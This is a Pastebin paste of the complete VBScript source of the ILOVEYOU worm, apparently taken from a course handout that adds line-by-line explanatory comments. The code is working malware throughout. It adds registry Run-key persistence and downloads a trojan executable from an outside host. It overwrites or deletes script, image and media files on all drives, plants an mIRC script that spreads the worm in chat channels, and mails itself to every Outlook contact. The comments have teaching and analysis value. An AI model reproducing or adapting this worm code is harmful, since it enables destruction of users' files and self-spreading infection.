Advertisement
Guest User

love letter worm

a guest
Jan 6th, 2016
453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.76 KB | None | 0 0
  1.  
  2. Source Code to the ILOVEYOU Worm
  3. rem barok -loveletter(vbe) <i hate go to school>
  4. rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
  5. rem ----------------------------------------
  6. rem INVOKING SCRIPT
  7. rem
  8. rem Effect: Save this in memory and run main
  9. rem
  10. rem ----------------------------------------
  11. On Error Resume Next
  12. dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
  13. rem
  14. eq=""
  15. ctr=0
  16. rem
  17. rem put the contents of this script into vbscopy for later use
  18. rem
  19. Set fso = CreateObject("Scripting.FileSystemObject")
  20. set file = fso.OpenTextFile(WScript.ScriptFullname,1)
  21. vbscopy=file.ReadAll
  22. main()
  23. rem ----------------------------------------
  24. rem main
  25. rem
  26. rem Effect: do invokes the relevant routines after setup
  27. rem
  28. rem ----------------------------------------
  29. sub main()
  30. On Error Resume Next
  31. dim wscr,rr
  32. rem
  33. rem set the timeout to 0
  34. rem
  35. set wscr=CreateObject("WScript.Shell")
  36. rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Time-
  37. out")
  38. if (rr>=1) then
  39. wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Time-
  40. out",0,"REG_DWORD"
  41. end if
  42. rem
  43. rem set dirwin to root folder of Windows; copy this script into
  44. rem MSKernel32.vbs and LOVE-LETTER-FOR-YOU.TXT.vbs in this directory
  45. rem set dirsystem to Windows system folder; copy this script into
  46. rem Win32DLL.vbs inthat directory
  47. rem set dirtemp to Windows folder used for temp files
  48. rem
  49. Set dirwin = fso.GetSpecialFolder(0)
  50. Set dirsystem = fso.GetSpecialFolder(1)
  51. Set dirtemp = fso.GetSpecialFolder(2)
  52. Set c = fso.GetFile(WScript.ScriptFullName)
  53. c.Copy(dirsystem&"\MSKernel32.vbs")
  54. c.Copy(dirwin&"\Win32DLL.vbs")
  55. c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  56. rem
  57. rem go!
  58. May 9, 2000 ECS 253—Spring 2000 2
  59. rem
  60. regruns()
  61. html()
  62. spreadtoemail()
  63. listadriv()
  64. end sub
  65. rem ----------------------------------------
  66. rem regruns
  67. rem
  68. rem Effect: If WinFAT32.exe exists in the system directory, attempt to
  69. rem download the program WIN-BUGSFIX.exe into the IE download directory.
  70. rem On success, set the IE start page to a blank screen (about:blank)
  71. rem
  72. rem ----------------------------------------
  73. sub regruns()
  74. On Error Resume Next
  75. Dim num,downread
  76. rem
  77. rem Set the following keys:
  78. rem HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
  79. rem to <dirsystem>\MSKernel32.vbs
  80. rem HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL
  81. rem to <dirwin>\Win32DLL.vbs
  82. rem
  83. regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dir-
  84. system&"\MSKernel32.vbs"
  85. regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSer-
  86. vices\Win32DLL",dirwin&"\Win32DLL.vbs"
  87. rem
  88. rem Get the directory into which IE downloads stuff; use c:\ if not set
  89. rem
  90. downread=""
  91. downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  92. if (downread="") then
  93. downread="c:\"
  94. end if
  95. rem
  96. rem If <dirsystem>\WinFAT32.exe does not exist, pick a random page
  97. rem to get it from and download it
  98. rem
  99. if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
  100. Randomize
  101. num = Int((4 * Rnd) + 1)
  102. if num = 1 then
  103. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyi-
  104. net.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-
  105. BUGSFIX.exe"
  106. elseif num = 2 then
  107. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyi-
  108. net.net/~angelcat/
  109. skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
  110. elseif num = 3 then
  111. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyi-
  112. net.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
  113. elseif num = 4 then
  114. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyi-
  115. net.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdg-
  116. lkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
  117. end if
  118. May 9, 2000 ECS 253—Spring 2000 3
  119. end if
  120. rem
  121. rem If the payload is there, set the keys:
  122. rem HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX
  123. rem to <IEdownloaddirorc:\>\WIN-BUGSFIX.exe
  124. rem and set the startup page for IE to be blank
  125. rem
  126. if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
  127. regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGS-
  128. FIX",downread&"\WIN-BUGSFIX.exe"
  129. regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
  130. Page","about:blank"
  131. end if
  132. end sub
  133. rem ----------------------------------------
  134. rem listadriv
  135. rem
  136. rem Effect: infect all folders, files that qualify for infection
  137. rem
  138. rem ----------------------------------------
  139. sub listadriv
  140. On Error Resume Next
  141. Dim d,dc,s
  142. rem
  143. rem get the system drives
  144. rem
  145. Set dc = fso.Drives
  146. rem
  147. rem If the drive is remote (3) or fixed (2),
  148. rem call infectfiles on each folder in the tree
  149. rem
  150. For Each d in dc
  151. If d.DriveType = 2 or d.DriveType=3 Then
  152. folderlist(d.path&"\")
  153. end if
  154. Next
  155. rem no idea what this does; listadriv is a sub, not
  156. rem a function, and s is uninitialized!
  157. listadriv = s
  158. end sub
  159. rem ----------------------------------------
  160. rem infectfiles
  161. rem
  162. rem Effect: (1) create copies of this thing:
  163. rem * overwrite vbe, vbs files
  164. rem * delete js, jse, css, wsh, sct, ha
  165. rem files, put copies in files with same base name
  166. rem and vbs extension
  167. rem * delete jpg, jpeg files, put copies in files
  168. rem with same name and vbs extension
  169. rem * mp2, mp3 files, put copies in files with same
  170. rem name and vbs extension, and hide original files
  171. rem (2) create/insert a Trojan horse to be invoked when
  172. rem IRC is run; this seems to send the worm on all
  173. rem channels when you invoke IRC
  174. rem
  175. rem ----------------------------------------
  176. sub infectfiles(folderspec)
  177. On Error Resume Next
  178. May 9, 2000 ECS 253—Spring 2000 4
  179. dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  180. rem
  181. rem get the files in the folder
  182. rem
  183. set f = fso.GetFolder(folderspec)
  184. set fc = f.Files
  185. rem
  186. rem loop through the files
  187. rem
  188. for each f1 in fc
  189. rem
  190. rem get the file name (s) and the extension (ext)
  191. rem
  192. ext=fso.GetExtensionName(f1.path)
  193. ext=lcase(ext)
  194. s=lcase(f1.name)
  195. rem
  196. rem what it does depends upon the file extension
  197. rem
  198. if (ext="vbs") or (ext="vbe") then
  199. rem it's visual basic
  200. rem write the contents of WScript.Scriptfullname into the file
  201. rem (overwrites what is there)
  202. set ap=fso.OpenTextFile(f1.path,2,true)
  203. ap.write vbscopy
  204. ap.close
  205. elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta")
  206. then
  207. rem it's a web-based language (javascript, cascading style sheet, etc.)
  208. rem write the contents of WScript.Scriptfullname into a file named
  209. rem the same but with a "vbs" extension; the original file is deleted
  210. set ap=fso.OpenTextFile(f1.path,2,true)
  211. ap.write vbscopy
  212. ap.close
  213. bname=fso.GetBaseName(f1.path)
  214. set cop=fso.GetFile(f1.path)
  215. cop.copy(folderspec&"\"&bname&".vbs")
  216. fso.DeleteFile(f1.path)
  217. elseif(ext="jpg") or (ext="jpeg") then
  218. rem it's a jpeg (picture) file
  219. rem write the contents of WScript.Scriptfullname into a file named
  220. rem the same but with a "vbs" extension (delete the original file)
  221. set ap=fso.OpenTextFile(f1.path,2,true)
  222. ap.write vbscopy
  223. ap.close
  224. set cop=fso.GetFile(f1.path)
  225. cop.copy(f1.path&".vbs")
  226. fso.DeleteFile(f1.path)
  227. elseif(ext="mp3") or (ext="mp2") then
  228. rem it's an mpeg (movie) file
  229. rem put the contents of WScript.Scriptfullname into a file with the
  230. rem same path name but with a "vbs" extension
  231. set mp3=fso.CreateTextFile(f1.path&".vbs")
  232. mp3.write vbscopy
  233. mp3.close
  234. rem this looks like it's trying to hide the file
  235. rem attribute 0 is normal, 2 is hidden
  236. rem if the file's attribute is not normal, the resulting
  237. rem attribute seems to be meaningless
  238. May 9, 2000 ECS 253—Spring 2000 5
  239. set att=fso.GetFile(f1.path)
  240. att.attributes=att.attributes+2
  241. end if
  242. rem
  243. rem Now go for IRC; this is done once per folder
  244. rem
  245. if (eq<>folderspec) then
  246. if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or
  247. (s="mirc.hlp") then
  248. rem if the folder contains any of these,
  249. rem set a Trojan to trigger when mIRC is next invoked
  250. set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
  251. rem this script seems to send the worm file whenever
  252. rem you join an IRC channel
  253. scriptini.WriteLine "[script]"
  254. scriptini.WriteLine ";mIRC Script"
  255. scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
  256. scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
  257. scriptini.WriteLine ";"
  258. scriptini.WriteLine ";Khaled Mardam-Bey"
  259. scriptini.WriteLine ";http://www.mirc.com"
  260. scriptini.WriteLine ";"
  261. scriptini.WriteLine "n0=on 1:JOIN:#:{"
  262. scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
  263. scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
  264. scriptini.WriteLine "n3=}"
  265. scriptini.close
  266. eq=folderspec
  267. end if
  268. end if
  269. next
  270. end sub
  271. rem ----------------------------------------
  272. rem folderlist
  273. rem
  274. rem Effect: Recurse throughout all subfolders
  275. rem
  276. rem ----------------------------------------
  277. sub folderlist(folderspec)
  278. On Error Resume Next
  279. dim f,f1,sf
  280. rem
  281. rem Get the subfolders in this folder
  282. rem
  283. set f = fso.GetFolder(folderspec)
  284. set sf = f.SubFolders
  285. rem
  286. rem call infectfiles on each subfolder and recurse
  287. rem
  288. for each f1 in sf
  289. infectfiles(f1.path)
  290. folderlist(f1.path)
  291. next
  292. end sub
  293. rem ----------------------------------------
  294. rem regcreate
  295. rem
  296. rem Effect: Change a key in the registry
  297. rem
  298. May 9, 2000 ECS 253—Spring 2000 6
  299. rem ----------------------------------------
  300. sub regcreate(regkey,regvalue)
  301. Set regedit = CreateObject("WScript.Shell")
  302. regedit.RegWrite regkey,regvalue
  303. end sub
  304. rem ----------------------------------------
  305. rem regget
  306. rem
  307. rem Effect: Return the value of a key in the registry
  308. rem
  309. rem ----------------------------------------
  310. function regget(value)
  311. Set regedit = CreateObject("WScript.Shell")
  312. regget=regedit.RegRead(value)
  313. end function
  314. rem ----------------------------------------
  315. rem fileexist
  316. rem
  317. rem Effect: Return 0 if the file exists, 1 if not
  318. rem
  319. rem ----------------------------------------
  320. function fileexist(filespec)
  321. On Error Resume Next
  322. dim msg
  323. if (fso.FileExists(filespec)) Then
  324. msg = 0
  325. else
  326. msg = 1
  327. end if
  328. fileexist = msg
  329. end function
  330. rem ----------------------------------------
  331. rem folderexist
  332. rem
  333. rem Effect: Return 0 if the folder exists, 1 if not
  334. rem ??? bogosity -- look at the return statement
  335. rem ??? also, method GetFolderExists doesn't exist ...
  336. rem ----------------------------------------
  337. function folderexist(folderspec)
  338. On Error Resume Next
  339. dim msg
  340. if (fso.GetFolderExists(folderspec)) then
  341. msg = 0
  342. else
  343. msg = 1
  344. end if
  345. fileexist = msg
  346. end function
  347. rem ----------------------------------------
  348. rem spreadtoemail
  349. rem
  350. rem Effect: send everyone on this user's address book
  351. rem a copy of the worm as an attachment to a letter
  352. rem with the subject: "ILOVEYOU" and the body:
  353. rem "kindly check the attached LOVELETTER coming from me."
  354. rem ----------------------------------------
  355. sub spreadtoemail()
  356. On Error Resume Next
  357. dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  358. May 9, 2000 ECS 253—Spring 2000 7
  359. rem
  360. rem access Outlook and get the address lists
  361. rem
  362. set regedit=CreateObject("WScript.Shell")
  363. set out=WScript.CreateObject("Outlook.Application")
  364. set mapi=out.GetNameSpace("MAPI")
  365. rem
  366. rem iterate over the address lists
  367. rem
  368. for ctrlists=1 to mapi.AddressLists.Count
  369. rem get this address list
  370. set a=mapi.AddressLists(ctrlists)
  371. x=1
  372. rem see if there is a corresponding windows address book
  373. regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
  374. if (regv="") then
  375. regv=1
  376. end if
  377. rem if there are entries in it, loop through them
  378. if (int(a.AddressEntries.Count)>int(regv)) then
  379. for ctrentries=1 to a.AddressEntries.Count
  380. rem get the entry and see if there is a reg key with their
  381. rem name in the WAB
  382. malead=a.AddressEntries(x)
  383. regad=""
  384. regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
  385. rem nope -- create a letter and send it out
  386. rem the worm is an attachment
  387. if (regad="") then
  388. set male=out.CreateItem(0)
  389. male.Recipients.Add(malead)
  390. male.Subject = "ILOVEYOU"
  391. male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
  392. male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  393. male.Send
  394. rem now create the key
  395. regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
  396. end if
  397. rem go on to next address
  398. x=x+1
  399. next
  400. rem now put the number of entries into the registry key
  401. regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
  402. else
  403. rem key already exists;
  404. rem put the number of entries into the registry key
  405. regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
  406. end if
  407. next
  408. rem
  409. rem clobber the objects
  410. rem
  411. Set out=Nothing
  412. Set mapi=Nothing
  413. end sub
  414. rem ----------------------------------------
  415. rem html
  416. rem
  417. rem Effect: build a web page which, when invoked, will
  418. May 9, 2000 ECS 253—Spring 2000 8
  419. rem create this little nasty and run it
  420. rem it's put into the web page named
  421. rem <dirsys>\LOVE-LETTER-FOR-YOU.HTM
  422. rem ----------------------------------------
  423. sub html
  424. On Error Resume Next
  425. dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
  426. rem
  427. rem this part is the HTML header that invokes a Java script to
  428. rem create a window; what follows is a variable to hold the (modified)
  429. rem form of this script
  430. rem
  431. dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-
  432. @BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
  433. "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-?
  434. Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
  435. "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  436. "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-
  437. #,#-#main#-#)@-@ "&vbcrlf& _
  438. "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
  439. BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
  440. "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>-
  441. Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
  442. "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------
  443. z----------<?-?MARQUEE> "&vbcrlf& _
  444. "<?-?BODY><?-?HTML>"&vbcrlf& _
  445. "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
  446. "<!--?-??-?"&vbcrlf& _
  447. "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;win-
  448. dow.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
  449. "?-??-?-->"&vbcrlf& _
  450. "<?-?SCRIPT>"&vbcrlf& _
  451. "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
  452. "<!--"&vbcrlf& _
  453. "on error resume next"&vbcrlf& _
  454. "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  455. "aw=1"&vbcrlf& _
  456. "code="
  457. rem
  458. rem this part is the visual basic script that decodes the encoded
  459. rem script and runs it, when invoked by ie; it's appended to the
  460. rem encoded part and put into the page
  461. rem
  462. dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  463. "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  464. "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  465. "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  466. "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  467. "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
  468. "wri.write code4"&vbcrlf& _
  469. "wri.close"&vbcrlf& _
  470. "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
  471. "if (err.number=424) then"&vbcrlf& _
  472. "aw=0"&vbcrlf& _
  473. "end if"&vbcrlf& _
  474. "if (aw=1) then"&vbcrlf& _
  475. "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
  476. "window.close"&vbcrlf& _
  477. "end if"&vbcrlf& _
  478. May 9, 2000 ECS 253—Spring 2000 9
  479. "end if"&vbcrlf& _
  480. "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  481. "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-
  482. ^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
  483. "?-??-?-->"&vbcrlf& _
  484. "<?-?SCRIPT>"
  485. dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  486. dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
  487. dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  488. dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  489. dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  490. dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
  491. dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  492. dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
  493. rem
  494. rem Open this script
  495. rem
  496. set fso=CreateObject("Scripting.FileSystemObject")
  497. set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  498. rem
  499. rem Read contents in and break it into lines
  500. rem l1 is the number of lines
  501. rem
  502. lines=Split(c.ReadAll,vbcrlf)
  503. l1=ubound(lines)
  504. for n=0 to ubound(lines)
  505. rem map: ' to [-[, " ]-], and \ to %-%
  506. lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
  507. lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
  508. lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
  509. rem put " ... " around lines, and append &vbcrlf& _ to all
  510. rem but the last line
  511. if (l1=n) then
  512. lines(n)=chr(34)+lines(n)+chr(34)
  513. else
  514. lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
  515. end if
  516. next
  517. rem Create <dirsys>\LOVE-LETTER-FOR-YOU.HTM and open it for
  518. rem writing; then put the modified script into it with the
  519. rem HTML header and trailer
  520. rem
  521. set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
  522. b.close
  523. set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
  524. d.write dt5
  525. d.write join(lines,vbcrlf)
  526. d.write vbcrlf
  527. d.write dt6
  528. d.close
  529. end sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement